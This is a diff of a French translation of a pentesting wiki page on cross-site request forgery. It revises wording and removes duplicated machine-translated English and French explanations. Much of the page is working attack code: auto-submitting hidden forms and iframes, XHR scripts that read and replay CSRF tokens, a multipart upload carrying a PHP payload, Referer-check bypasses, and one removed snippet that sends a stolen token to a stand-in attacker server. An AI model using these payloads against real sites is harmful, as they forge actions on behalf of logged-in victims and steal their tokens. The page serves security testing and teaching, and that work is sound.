@ -136,31 +139,31 @@ form.submit();
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
### Contournement de la requête de pré-vérification pour `application/json`
|
||||
### contournement de la requête de pré-vol application/json
|
||||
|
||||
Comme vous le savez déjà, vous ne pouvez pas envoyer une requête POST avec le Content-Type **`application/json`** via un formulaire HTML, et si vous essayez de le faire via **`XMLHttpRequest`**, une requête de pré-vérification est envoyée en premier.\
|
||||
Cependant, vous pouvez essayer d'envoyer les données JSON en utilisant les types de contenu **`text/plain`** et **`application/x-www-form-urlencoded`** juste pour vérifier si le backend utilise les données indépendamment du Content-Type.\
|
||||
Comme vous le savez déjà, vous ne pouvez pas envoyer une requête POST avec le Content-Type **`application/json`** via un formulaire HTML, et si vous essayez de le faire via **`XMLHttpRequest`**, une requête de **pré-vol** est d'abord envoyée.\
|
||||
Cependant, vous pourriez essayer d'envoyer les données JSON en utilisant les types de contenu \*\*`text/plain` et `application/x-www-form-urlencoded` \*\* juste pour vérifier si le backend utilise les données indépendamment du Content-Type.\
|
||||
Vous pouvez envoyer un formulaire en utilisant `Content-Type: text/plain` en définissant **`enctype="text/plain"`**
|
||||
|
||||
Si le serveur n'accepte que le type de contenu "application/json", vous pouvez **envoyer le type de contenu "text/plain; application/json"** sans déclencher de requête de pré-vérification.
|
||||
Si le serveur n'accepte que le type de contenu "application/json", vous pouvez **envoyer le type de contenu "text/plain; application/json"** sans déclencher de requête de pré-vol.
|
||||
|
||||
Vous pouvez également essayer de **contourner** cette restriction en utilisant un fichier flash **SWF**. Pour plus d'informations, [**lisez cet article**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
Vous pourriez également essayer de **contourner** cette restriction en utilisant un **fichier flash SWF**. Pour plus d'informations [**lisez ce post**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
|
||||
### Contournement de la vérification du Référent / Origine
|
||||
### contournement de la vérification du Referrer / Origin
|
||||
|
||||
**Évitez l'en-tête Referer**
|
||||
**Éviter l'en-tête Referrer**
|
||||
|
||||
Certaines applications valident l'en-tête Referer lorsqu'il est présent dans les requêtes, mais **passent outre la validation si l'en-tête est omis**.
|
||||
Certaines applications valident l'en-tête Referer lorsqu'il est présent dans les requêtes mais **ignorent la validation si l'en-tête est omis**.
|
||||
```markup
|
||||
<meta name="referrer" content="never">
|
||||
```
|
||||
**Bypasses Regexp**
|
||||
**Contournements Regexp**
|
||||
|
||||
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
|
||||
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Pour définir le nom de domaine du serveur dans l'URL que le Référent va envoyer à l'intérieur des paramètres, vous pouvez faire :
|
||||
Pour définir le nom de domaine du serveur dans l'URL que le Referrer va envoyer à l'intérieur des paramètres, vous pouvez faire :
|
||||
```html
|
||||
<html>
|
||||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||||
|
@ -179,25 +182,25 @@ document.forms[0].submit();
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
### **Contournement de la méthode HEAD**
|
||||
### **Contournement par la méthode HEAD**
|
||||
|
||||
La première partie de [**ce compte rendu CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explique que [le code source d'Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un routeur est configuré pour **traiter les requêtes HEAD comme des requêtes GET** sans corps de réponse - une solution de contournement courante qui n'est pas propre à Oak. Au lieu d'un gestionnaire spécifique pour les requêtes HEAD, elles sont simplement **transmises au gestionnaire GET mais l'application supprime simplement le corps de réponse**.
|
||||
La première partie de [**ce compte-rendu de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explique que dans [le code source d'Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un routeur est configuré pour **traiter les requêtes HEAD comme des requêtes GET** sans corps de réponse - une solution courante qui n'est pas propre à Oak. Au lieu d'un gestionnaire spécifique pour les requêtes HEAD, elles sont simplement **transmises au gestionnaire GET mais l'application supprime le corps de la réponse**.
|
||||
|
||||
Par conséquent, si une requête GET est limitée, vous pouvez simplement **envoyer une requête HEAD qui sera traitée comme une requête GET**.
|
||||
Par conséquent, si une requête GET est limitée, vous pourriez simplement **envoyer une requête HEAD qui sera traitée comme une requête GET**.
|
||||
|
||||
## **Exemples d'exploitation**
|
||||
|
||||
### **Exfiltration du jeton CSRF**
|
||||
### **Exfiltration de jeton CSRF**
|
||||
|
||||
Si un **jeton CSRF** est utilisé comme **défense**, vous pouvez essayer de **l'exfiltrer** en exploitant une vulnérabilité [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) ou une vulnérabilité [**Dangling Markup**](dangling-markup-html-scriptless-injection/).
|
||||
Si un **jeton CSRF** est utilisé comme **défense**, vous pourriez essayer de **l'exfiltrer** en abusant d'une vulnérabilité [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) ou d'une vulnérabilité de [**Dangling Markup**](dangling-markup-html-scriptless-injection/).
|
||||
|
||||
### **GET en utilisant des balises HTML**
|
||||
### **Utilisation de GET avec des balises HTML**
|
||||
```markup
|
||||
<img src="http://google.es?param=VALUE" style="display:none" />
|
||||
<h1>404 - Page not found</h1>
|
||||
The URL you are requesting is no longer available
|
||||
```
|
||||
D'autres balises HTML5 qui peuvent être utilisées pour envoyer automatiquement une requête GET sont :
|
||||
Les autres balises HTML5 qui peuvent être utilisées pour envoyer automatiquement une requête GET sont :
|
||||
|
||||
![](<../.gitbook/assets/image (530).png>)
|
||||
|
||||
|
@ -218,36 +221,6 @@ document.forms[0].submit();
|
|||
</html>
|
||||
```
|
||||
### Requête POST de formulaire
|
||||
|
||||
A common method used by web applications to send data to the server is through a form POST request. This type of request is commonly used for actions such as submitting a login form, creating a new user account, or updating user information.
|
||||
|
||||
Une méthode couramment utilisée par les applications web pour envoyer des données au serveur est la requête POST de formulaire. Ce type de requête est généralement utilisé pour des actions telles que la soumission d'un formulaire de connexion, la création d'un nouveau compte utilisateur ou la mise à jour des informations utilisateur.
|
||||
|
||||
To send a form POST request, the web application constructs an HTML form with input fields for the desired data. When the user submits the form, the browser sends a POST request to the server with the form data as the request body.
|
||||
|
||||
Pour envoyer une requête POST de formulaire, l'application web construit un formulaire HTML avec des champs de saisie pour les données souhaitées. Lorsque l'utilisateur soumet le formulaire, le navigateur envoie une requête POST au serveur avec les données du formulaire comme corps de la requête.
|
||||
|
||||
The server then processes the request and performs the necessary actions based on the submitted data. It is important to note that the server trusts the request because it assumes that the request is legitimate and initiated by the user.
|
||||
|
||||
Le serveur traite ensuite la requête et effectue les actions nécessaires en fonction des données soumises. Il est important de noter que le serveur fait confiance à la requête car il suppose que la requête est légitime et initiée par l'utilisateur.
|
||||
|
||||
### Cross-Site Request Forgery (CSRF)
|
||||
|
||||
Cross-Site Request Forgery (CSRF) is an attack that exploits the trust between a web application and its users. In a CSRF attack, an attacker tricks a victim into performing an unwanted action on a web application in which the victim is authenticated.
|
||||
|
||||
La falsification de requête intersite (CSRF) est une attaque qui exploite la confiance entre une application web et ses utilisateurs. Dans une attaque CSRF, un attaquant trompe une victime pour qu'elle effectue une action indésirable sur une application web où la victime est authentifiée.
|
||||
|
||||
The attack works by crafting a malicious webpage or email that contains a request to the target web application. When the victim visits the malicious webpage or clicks on the malicious link in the email, their browser automatically sends the request to the target web application, using the victim's authenticated session.
|
||||
|
||||
L'attaque fonctionne en créant une page web ou un e-mail malveillant contenant une requête vers l'application web cible. Lorsque la victime visite la page web malveillante ou clique sur le lien malveillant dans l'e-mail, son navigateur envoie automatiquement la requête à l'application web cible, en utilisant la session authentifiée de la victime.
|
||||
|
||||
As a result, the target web application processes the request, believing it to be legitimate and initiated by the victim. This can lead to unauthorized actions being performed on behalf of the victim, such as changing their password, making financial transactions, or deleting their account.
|
||||
|
||||
En conséquence, l'application web cible traite la requête en croyant qu'elle est légitime et initiée par la victime. Cela peut entraîner l'exécution d'actions non autorisées au nom de la victime, telles que la modification de son mot de passe, la réalisation de transactions financières ou la suppression de son compte.
|
||||
|
||||
To protect against CSRF attacks, web applications can implement measures such as using anti-CSRF tokens, checking the origin of requests, and requiring additional authentication for sensitive actions.
|
||||
|
||||
Pour se protéger contre les attaques CSRF, les applications web peuvent mettre en place des mesures telles que l'utilisation de jetons anti-CSRF, la vérification de l'origine des requêtes et l'exigence d'une authentification supplémentaire pour les actions sensibles.
|
||||
```markup
|
||||
<html>
|
||||
<body>
|
||||
|
@ -264,22 +237,6 @@ document.forms[0].submit(); //Way 3 to autosubmit
|
|||
</html>
|
||||
```
|
||||
### Requête POST de formulaire via iframe
|
||||
|
||||
One common technique used in Cross-Site Request Forgery (CSRF) attacks is to submit a form through an iframe. This technique allows an attacker to trick a user into unknowingly submitting a form on a vulnerable website.
|
||||
|
||||
Une technique couramment utilisée dans les attaques de falsification de requêtes intersites (CSRF) consiste à soumettre un formulaire via un iframe. Cette technique permet à un attaquant de tromper un utilisateur en lui faisant soumettre un formulaire sur un site vulnérable sans qu'il le sache.
|
||||
|
||||
To perform this attack, the attacker creates a malicious webpage that contains an iframe pointing to the target website's form. The form is pre-filled with the desired values, and JavaScript is used to automatically submit the form when the iframe loads.
|
||||
|
||||
Pour effectuer cette attaque, l'attaquant crée une page web malveillante contenant un iframe pointant vers le formulaire du site cible. Le formulaire est pré-rempli avec les valeurs souhaitées, et JavaScript est utilisé pour soumettre automatiquement le formulaire lorsque l'iframe se charge.
|
||||
|
||||
When the victim visits the malicious webpage, the iframe loads the target website's form and submits it without the victim's knowledge. This allows the attacker to perform actions on behalf of the victim, such as changing their password or making unauthorized transactions.
|
||||
|
||||
Lorsque la victime visite la page web malveillante, l'iframe charge le formulaire du site cible et le soumet sans que la victime le sache. Cela permet à l'attaquant d'effectuer des actions au nom de la victime, telles que changer son mot de passe ou effectuer des transactions non autorisées.
|
||||
|
||||
To protect against this type of attack, websites should implement measures such as using anti-CSRF tokens, validating the referrer header, and implementing strict access controls.
|
||||
|
||||
Pour se protéger contre ce type d'attaque, les sites web doivent mettre en place des mesures telles que l'utilisation de jetons anti-CSRF, la validation de l'en-tête referrer et la mise en place de contrôles d'accès stricts.
|
||||
```markup
|
||||
<!--
|
||||
The request is sent through the iframe withuot reloading the page
|
||||
|
@ -298,28 +255,6 @@ document.forms[0].submit();
|
|||
</html>
|
||||
```
|
||||
### **Requête POST Ajax**
|
||||
|
||||
An Ajax POST request is a type of HTTP request that is sent asynchronously from a web page to a server using the Ajax technology. It allows the web page to update its content dynamically without having to reload the entire page.
|
||||
|
||||
Une requête POST Ajax est un type de requête HTTP qui est envoyée de manière asynchrone depuis une page web vers un serveur en utilisant la technologie Ajax. Cela permet à la page web de mettre à jour son contenu de manière dynamique sans avoir à recharger la page entière.
|
||||
|
||||
```javascript
|
||||
$.ajax({
|
||||
url: '/update',
|
||||
type: 'POST',
|
||||
data: { name: 'John', age: 30 },
|
||||
success: function(response) {
|
||||
console.log('Update successful');
|
||||
},
|
||||
error: function(xhr, status, error) {
|
||||
console.log('Update failed');
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
The above code snippet demonstrates an example of an Ajax POST request using jQuery. It sends a POST request to the '/update' endpoint with the data object containing the name and age parameters. If the request is successful, the 'success' callback function is executed, otherwise, the 'error' callback function is executed.
|
||||
|
||||
Le code ci-dessus montre un exemple de requête POST Ajax utilisant jQuery. Il envoie une requête POST vers l'endpoint '/update' avec l'objet de données contenant les paramètres name et age. Si la requête est réussie, la fonction de rappel 'success' est exécutée, sinon, la fonction de rappel 'error' est exécutée.
|
||||
```markup
|
||||
<script>
|
||||
var xh;
|
||||
|
@ -346,44 +281,7 @@ data: "param=value¶m2=value2"
|
|||
})
|
||||
</script>
|
||||
```
|
||||
### Requête POST multipart/form-data
|
||||
|
||||
When submitting a form on a website, the data is typically sent using the `application/x-www-form-urlencoded` format. However, in some cases, the form may require the use of the `multipart/form-data` format. This format is commonly used when uploading files or when the form contains binary data.
|
||||
|
||||
Lors de la soumission d'un formulaire sur un site web, les données sont généralement envoyées au format `application/x-www-form-urlencoded`. Cependant, dans certains cas, le formulaire peut nécessiter l'utilisation du format `multipart/form-data`. Ce format est couramment utilisé lors du téléchargement de fichiers ou lorsque le formulaire contient des données binaires.
|
||||
|
||||
To craft a `multipart/form-data` POST request, you need to include a `Content-Type` header with the value `multipart/form-data`. Additionally, the request body should be formatted as a series of parts, each containing a `Content-Disposition` header specifying the name of the field and the filename (if applicable), followed by the actual data.
|
||||
|
||||
Pour créer une requête POST `multipart/form-data`, vous devez inclure un en-tête `Content-Type` avec la valeur `multipart/form-data`. De plus, le corps de la requête doit être formaté comme une série de parties, chacune contenant un en-tête `Content-Disposition` spécifiant le nom du champ et le nom du fichier (si applicable), suivi des données réelles.
|
||||
|
||||
Here is an example of a `multipart/form-data` POST request:
|
||||
|
||||
Voici un exemple de requête POST `multipart/form-data` :
|
||||
|
||||
```http
|
||||
POST /upload HTTP/1.1
|
||||
Host: example.com
|
||||
Content-Type: multipart/form-data; boundary=---------------------------1234567890
|
||||
|
||||
-----------------------------1234567890
|
||||
Content-Disposition: form-data; name="username"
|
||||
|
||||
john.doe
|
||||
-----------------------------1234567890
|
||||
Content-Disposition: form-data; name="profile_picture"; filename="picture.jpg"
|
||||
Content-Type: image/jpeg
|
||||
|
||||
[Binary image data]
|
||||
-----------------------------1234567890--
|
||||
```
|
||||
|
||||
In this example, the request is being sent to `example.com/upload`. The request body consists of two parts: one for the `username` field and another for the `profile_picture` field. The `profile_picture` part includes the filename and the content type of the image.
|
||||
|
||||
Dans cet exemple, la requête est envoyée à `example.com/upload`. Le corps de la requête se compose de deux parties : une pour le champ `username` et une autre pour le champ `profile_picture`. La partie `profile_picture` inclut le nom du fichier et le type de contenu de l'image.
|
||||
|
||||
By understanding how to craft a `multipart/form-data` POST request, you can effectively interact with web applications that require this format for data submission.
|
||||
|
||||
En comprenant comment créer une requête POST `multipart/form-data`, vous pouvez interagir efficacement avec des applications web qui nécessitent ce format pour la soumission de données.
|
||||
### requête POST multipart/form-data
|
||||
```javascript
|
||||
myFormData = new FormData();
|
||||
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
|
||||
|
@ -396,67 +294,7 @@ headers: {"Content-Type": "application/x-www-form-urlencoded"},
|
|||
mode: "no-cors"
|
||||
});
|
||||
```
|
||||
### Requête POST multipart/form-data v2
|
||||
|
||||
In this technique, we will explore how to perform a Cross-Site Request Forgery (CSRF) attack using a multipart/form-data POST request.
|
||||
|
||||
Dans cette technique, nous allons explorer comment effectuer une attaque de type Cross-Site Request Forgery (CSRF) en utilisant une requête POST multipart/form-data.
|
||||
|
||||
#### Introduction
|
||||
|
||||
CSRF is an attack that tricks the victim into submitting a malicious request. It occurs when a malicious website or application forces a user's browser to perform an unwanted action on a trusted website where the user is authenticated.
|
||||
|
||||
Le CSRF est une attaque qui trompe la victime en lui faisant soumettre une requête malveillante. Elle se produit lorsque un site web ou une application malveillante force le navigateur de l'utilisateur à effectuer une action non désirée sur un site web de confiance où l'utilisateur est authentifié.
|
||||
|
||||
#### Exploiting CSRF using multipart/form-data POST request
|
||||
|
||||
To exploit CSRF using a multipart/form-data POST request, follow these steps:
|
||||
|
||||
Pour exploiter le CSRF en utilisant une requête POST multipart/form-data, suivez ces étapes :
|
||||
|
||||
1. Identify the target website: Choose the website where you want to perform the CSRF attack.
|
||||
|
||||
1. Identifier le site cible : Choisissez le site web sur lequel vous souhaitez effectuer l'attaque CSRF.
|
||||
|
||||
2. Identify the target endpoint: Identify the specific endpoint or URL where the action you want to perform is triggered.
|
||||
|
||||
2. Identifier le point d'extrémité cible : Identifiez le point d'extrémité ou l'URL spécifique où l'action que vous souhaitez effectuer est déclenchée.
|
||||
|
||||
3. Craft the malicious HTML page: Create an HTML page that contains a form with the necessary fields to perform the action on the target website.
|
||||
|
||||
3. Créer la page HTML malveillante : Créez une page HTML qui contient un formulaire avec les champs nécessaires pour effectuer l'action sur le site web cible.
|
||||
|
||||
4. Set the form's action attribute to the target endpoint: In the form's HTML code, set the action attribute to the URL of the target endpoint.
|
||||
|
||||
4. Définir l'attribut action du formulaire sur le point d'extrémité cible : Dans le code HTML du formulaire, définissez l'attribut action sur l'URL du point d'extrémité cible.
|
||||
|
||||
5. Set the form's method attribute to POST: In the form's HTML code, set the method attribute to POST.
|
||||
|
||||
5. Définir l'attribut method du formulaire sur POST : Dans le code HTML du formulaire, définissez l'attribut method sur POST.
|
||||
|
||||
6. Set the form's enctype attribute to multipart/form-data: In the form's HTML code, set the enctype attribute to multipart/form-data.
|
||||
|
||||
6. Définir l'attribut enctype du formulaire sur multipart/form-data : Dans le code HTML du formulaire, définissez l'attribut enctype sur multipart/form-data.
|
||||
|
||||
7. Include the necessary form fields: Add the necessary form fields to the HTML code, including any hidden fields or fields required by the target endpoint.
|
||||
|
||||
7. Inclure les champs de formulaire nécessaires : Ajoutez les champs de formulaire nécessaires au code HTML, y compris les champs cachés ou les champs requis par le point d'extrémité cible.
|
||||
|
||||
8. Submit the form automatically: Use JavaScript to automatically submit the form when the malicious HTML page is loaded.
|
||||
|
||||
8. Soumettre le formulaire automatiquement : Utilisez JavaScript pour soumettre automatiquement le formulaire lorsque la page HTML malveillante est chargée.
|
||||
|
||||
9. Trick the victim into visiting the malicious HTML page: Send the victim a link or embed the malicious HTML page in a website or email to trick them into visiting it.
|
||||
|
||||
9. Tromper la victime pour qu'elle visite la page HTML malveillante : Envoyez à la victime un lien ou intégrez la page HTML malveillante dans un site web ou un e-mail pour la tromper et l'inciter à la visiter.
|
||||
|
||||
10. Perform the CSRF attack: When the victim visits the malicious HTML page, their browser will automatically submit the form, triggering the action on the target website.
|
||||
|
||||
10. Effectuer l'attaque CSRF : Lorsque la victime visite la page HTML malveillante, son navigateur soumettra automatiquement le formulaire, déclenchant ainsi l'action sur le site web cible.
|
||||
|
||||
By exploiting CSRF using a multipart/form-data POST request, an attacker can perform unauthorized actions on a target website, potentially leading to data manipulation, account takeover, or other malicious activities.
|
||||
|
||||
En exploitant le CSRF en utilisant une requête POST multipart/form-data, un attaquant peut effectuer des actions non autorisées sur un site web cible, ce qui peut entraîner une manipulation de données, une prise de contrôle de compte ou d'autres activités malveillantes.
|
||||
### requête POST multipart/form-data v2
|
||||
```javascript
|
||||
var fileSize = fileData.length,
|
||||
boundary = "OWNEDBYOFFSEC",
|
||||
|
@ -476,18 +314,6 @@ body += "--" + boundary + "--";
|
|||
xhr.sendAsBinary(body);
|
||||
```
|
||||
### Requête POST de formulaire à partir d'un iframe
|
||||
|
||||
When an HTML form is submitted, the browser sends a POST request to the specified URL. This behavior can be exploited in a Cross-Site Request Forgery (CSRF) attack by tricking a user into submitting a form without their knowledge or consent.
|
||||
|
||||
Lorsqu'un formulaire HTML est soumis, le navigateur envoie une requête POST à l'URL spécifiée. Ce comportement peut être exploité dans une attaque de falsification de requête intersite (CSRF) en trompant un utilisateur pour qu'il soumette un formulaire sans son consentement ni sa connaissance.
|
||||
|
||||
To execute a CSRF attack using an iframe, the attacker can embed a malicious page containing a hidden form within an iframe on a legitimate website. When the user visits the legitimate website, the hidden form is automatically submitted, sending the user's data to the attacker's server.
|
||||
|
||||
Pour exécuter une attaque CSRF en utilisant un iframe, l'attaquant peut intégrer une page malveillante contenant un formulaire caché dans un iframe sur un site légitime. Lorsque l'utilisateur visite le site légitime, le formulaire caché est automatiquement soumis, envoyant les données de l'utilisateur au serveur de l'attaquant.
|
||||
|
||||
To prevent this type of attack, web developers should implement measures such as using anti-CSRF tokens, which are unique tokens embedded in forms to verify the authenticity of the request. Additionally, the SameSite attribute can be set to "Strict" or "Lax" in cookies to limit their scope and prevent cross-site requests.
|
||||
|
||||
Pour prévenir ce type d'attaque, les développeurs web devraient mettre en place des mesures telles que l'utilisation de jetons anti-CSRF, qui sont des jetons uniques intégrés dans les formulaires pour vérifier l'authenticité de la requête. De plus, l'attribut SameSite peut être défini sur "Strict" ou "Lax" dans les cookies pour limiter leur portée et empêcher les requêtes intersites.
|
||||
```markup
|
||||
<--! expl.html -->
|
||||
|
||||
|
@ -506,22 +332,6 @@ function envia(){document.getElementById("formulario").submit();}
|
|||
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
|
||||
```
|
||||
### **Vol de jeton CSRF et envoi d'une requête POST**
|
||||
|
||||
To perform a CSRF attack, the first step is to steal the CSRF token from the target website. This token is usually embedded in the HTML source code or stored in a cookie. Once the token is obtained, it can be used to craft a malicious POST request.
|
||||
|
||||
Pour effectuer une attaque CSRF, la première étape consiste à voler le jeton CSRF du site cible. Ce jeton est généralement intégré dans le code source HTML ou stocké dans un cookie. Une fois le jeton obtenu, il peut être utilisé pour créer une requête POST malveillante.
|
||||
|
||||
To send the POST request, an attacker can create a form with hidden fields that include the stolen CSRF token. When the victim visits a page containing this form, the request will be automatically submitted without their knowledge.
|
||||
|
||||
Pour envoyer la requête POST, un attaquant peut créer un formulaire avec des champs cachés qui incluent le jeton CSRF volé. Lorsque la victime visite une page contenant ce formulaire, la requête sera automatiquement soumise sans qu'elle le sache.
|
||||
|
||||
The POST request can be crafted to perform any action that the victim is authorized to do on the target website. This can include changing account settings, making purchases, or even deleting data.
|
||||
|
||||
La requête POST peut être créée pour effectuer n'importe quelle action que la victime est autorisée à effectuer sur le site cible. Cela peut inclure la modification des paramètres du compte, des achats ou même la suppression de données.
|
||||
|
||||
To protect against CSRF attacks, websites should implement measures such as using anti-CSRF tokens, checking the origin of requests, and implementing strict referer policies.
|
||||
|
||||
Pour se protéger contre les attaques CSRF, les sites web doivent mettre en place des mesures telles que l'utilisation de jetons anti-CSRF, la vérification de l'origine des requêtes et la mise en place de politiques de référent strictes.
|
||||
```javascript
|
||||
function submitFormWithTokenJS(token) {
|
||||
var xhr = new XMLHttpRequest();
|
||||
|
@ -568,55 +378,7 @@ var GET_URL="http://google.com?param=VALUE"
|
|||
var POST_URL="http://google.com?param=VALUE"
|
||||
getTokenJS();
|
||||
```
|
||||
### **Vol de jeton CSRF et envoi d'une requête POST à l'aide d'un iframe, d'un formulaire et d'Ajax**
|
||||
|
||||
L'une des méthodes couramment utilisées pour exploiter une vulnérabilité de falsification de requête intersite (CSRF) consiste à voler le jeton CSRF d'un utilisateur légitime et à l'utiliser pour envoyer une requête POST malveillante. Cette attaque peut être réalisée en utilisant un iframe, un formulaire ou Ajax.
|
||||
|
||||
#### **1. Vol du jeton CSRF**
|
||||
|
||||
Pour voler le jeton CSRF, l'attaquant peut utiliser différentes techniques, telles que l'inclusion d'un lien malveillant dans un e-mail ou une page Web, ou l'exploitation d'une vulnérabilité de script intersite (XSS) pour extraire le jeton à partir de la page Web.
|
||||
|
||||
#### **2. Envoi d'une requête POST avec un iframe**
|
||||
|
||||
Une fois que l'attaquant a réussi à voler le jeton CSRF, il peut l'utiliser pour envoyer une requête POST malveillante en utilisant un iframe. L'attaquant crée un iframe invisible dans une page Web et définit l'URL de la cible comme la cible de l'action du formulaire. Ensuite, l'attaquant utilise JavaScript pour remplir le formulaire avec les données nécessaires, y compris le jeton CSRF volé, et soumet le formulaire automatiquement.
|
||||
|
||||
```html
|
||||
<iframe style="display:none" name="csrf-frame"></iframe>
|
||||
<form action="https://www.example.com/target-page" method="POST" target="csrf-frame" id="csrf-form">
|
||||
<input type="hidden" name="csrf_token" value="TOKEN_VALUE">
|
||||
<!-- Autres champs de formulaire nécessaires -->
|
||||
</form>
|
||||
<script>
|
||||
document.getElementById('csrf-form').submit();
|
||||
</script>
|
||||
```
|
||||
|
||||
#### **3. Envoi d'une requête POST avec un formulaire**
|
||||
|
||||
Une autre méthode consiste à utiliser un formulaire pour envoyer la requête POST malveillante. L'attaquant crée un formulaire caché dans une page Web et définit l'URL de la cible comme la cible de l'action du formulaire. Ensuite, l'attaquant utilise JavaScript pour remplir le formulaire avec les données nécessaires, y compris le jeton CSRF volé, et soumet le formulaire automatiquement.
|
||||
|
||||
```html
|
||||
<form action="https://www.example.com/target-page" method="POST" id="csrf-form">
|
||||
<input type="hidden" name="csrf_token" value="TOKEN_VALUE">
|
||||
<!-- Autres champs de formulaire nécessaires -->
|
||||
</form>
|
||||
<script>
|
||||
document.getElementById('csrf-form').submit();
|
||||
</script>
|
||||
```
|
||||
|
||||
#### **4. Envoi d'une requête POST avec Ajax**
|
||||
|
||||
Enfin, l'attaquant peut utiliser Ajax pour envoyer la requête POST malveillante. L'attaquant crée une requête Ajax en utilisant JavaScript et définit l'URL de la cible, les données à envoyer (y compris le jeton CSRF volé) et la méthode POST. Ensuite, l'attaquant envoie la requête Ajax pour exécuter l'attaque CSRF.
|
||||
|
||||
```javascript
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open('POST', 'https://www.example.com/target-page', true);
|
||||
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
|
||||
xhr.send('csrf_token=TOKEN_VALUE&other_data=DATA_VALUE');
|
||||
```
|
||||
|
||||
Il est important de noter que ces méthodes d'attaque CSRF peuvent être détectées et prévenues en utilisant des techniques de défense appropriées, telles que l'utilisation de jetons CSRF avec des durées de validité courtes, la vérification de l'en-tête Referer, l'utilisation de cookies sécurisés et l'implémentation de mécanismes de confirmation de l'action de l'utilisateur.
|
||||
### **Vol de jeton CSRF et envoi d'une requête Post à l'aide d'un iframe, d'un formulaire et d'Ajax**
|
||||
```markup
|
||||
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
|
||||
<input type="text" name="username" value="AA">
|
||||
|
@ -637,43 +399,6 @@ document.getElementById("form1").submit();
|
|||
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
|
||||
```
|
||||
### **Vol de jeton CSRF et envoi d'une requête POST à l'aide d'un iframe et d'un formulaire**
|
||||
|
||||
To perform a Cross-Site Request Forgery (CSRF) attack, an attacker needs to steal the victim's CSRF token and use it to send unauthorized requests on behalf of the victim. One way to achieve this is by using an iframe and a form.
|
||||
|
||||
Pour effectuer une attaque de falsification de requête entre sites (CSRF), un attaquant doit voler le jeton CSRF de la victime et l'utiliser pour envoyer des requêtes non autorisées au nom de la victime. Une façon d'y parvenir est d'utiliser un iframe et un formulaire.
|
||||
|
||||
1. The attacker creates a malicious webpage that contains an iframe pointing to the target website.
|
||||
|
||||
L'attaquant crée une page web malveillante contenant un iframe pointant vers le site cible.
|
||||
|
||||
```html
|
||||
<iframe src="https://www.target-website.com"></iframe>
|
||||
```
|
||||
|
||||
2. The attacker also includes a hidden form within the iframe, pre-filled with the victim's CSRF token and the desired malicious action.
|
||||
|
||||
L'attaquant inclut également un formulaire caché dans l'iframe, pré-rempli avec le jeton CSRF de la victime et l'action malveillante souhaitée.
|
||||
|
||||
```html
|
||||
<form action="https://www.target-website.com/action" method="POST">
|
||||
<input type="hidden" name="csrf_token" value="victim-csrf-token">
|
||||
<input type="hidden" name="malicious_action" value="perform-malicious-action">
|
||||
</form>
|
||||
```
|
||||
|
||||
3. When the victim visits the attacker's webpage, the iframe loads the target website, and the hidden form is automatically submitted.
|
||||
|
||||
Lorsque la victime visite la page web de l'attaquant, l'iframe charge le site cible et le formulaire caché est automatiquement soumis.
|
||||
|
||||
4. Since the form is submitted within the context of the target website, the victim's browser includes the victim's CSRF token in the request, making it appear as a legitimate request.
|
||||
|
||||
Étant donné que le formulaire est soumis dans le contexte du site cible, le navigateur de la victime inclut le jeton CSRF de la victime dans la requête, ce qui la rend semblable à une requête légitime.
|
||||
|
||||
5. The target website processes the request, unaware that it was initiated by the attacker, and performs the malicious action on behalf of the victim.
|
||||
|
||||
Le site cible traite la requête, sans se rendre compte qu'elle a été initiée par l'attaquant, et effectue l'action malveillante au nom de la victime.
|
||||
|
||||
By exploiting CSRF vulnerabilities, attackers can trick users into unknowingly performing actions on websites they trust. To protect against CSRF attacks, web developers should implement measures such as using CSRF tokens, checking the origin of requests, and implementing strict access controls.
|
||||
```markup
|
||||
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
|
||||
|
||||
|
@ -691,30 +416,7 @@ document.forms[0].submit.click();
|
|||
}
|
||||
</script>
|
||||
```
|
||||
### **Vol de jeton et envoi via 2 iframes**
|
||||
|
||||
To perform a Cross-Site Request Forgery (CSRF) attack, one common technique is to steal the victim's authentication token and send it to the attacker's server using two iframes.
|
||||
|
||||
#### **Step 1: Stealing the Token**
|
||||
|
||||
The first step is to find a way to steal the victim's authentication token. This can be done by tricking the victim into visiting a malicious website or by exploiting a vulnerability in a trusted website.
|
||||
|
||||
#### **Step 2: Sending the Token**
|
||||
|
||||
Once the token is stolen, it needs to be sent to the attacker's server. This can be achieved by creating two iframes on the malicious website. The first iframe is used to load the target website, while the second iframe is used to send the stolen token to the attacker's server.
|
||||
|
||||
```html
|
||||
<iframe src="https://www.target-website.com"></iframe>
|
||||
<iframe src="https://www.attacker-server.com/steal-token?token=<stolen-token>"></iframe>
|
||||
```
|
||||
|
||||
In the above example, the first iframe loads the target website, making it appear as if the victim is interacting with the legitimate site. Meanwhile, the second iframe sends the stolen token to the attacker's server by including it as a parameter in the URL.
|
||||
|
||||
#### **Step 3: Exploiting the Stolen Token**
|
||||
|
||||
Once the attacker receives the stolen token, they can use it to perform actions on behalf of the victim. This can include making unauthorized requests, changing account settings, or even performing financial transactions.
|
||||
|
||||
It is important for developers to implement proper CSRF protection mechanisms, such as using anti-CSRF tokens or implementing same-site cookies, to prevent these types of attacks. Additionally, users should be cautious when visiting unfamiliar websites and ensure they are using secure and up-to-date browsers.
|
||||
### **Vol de token et envoi via 2 iframes**
|
||||
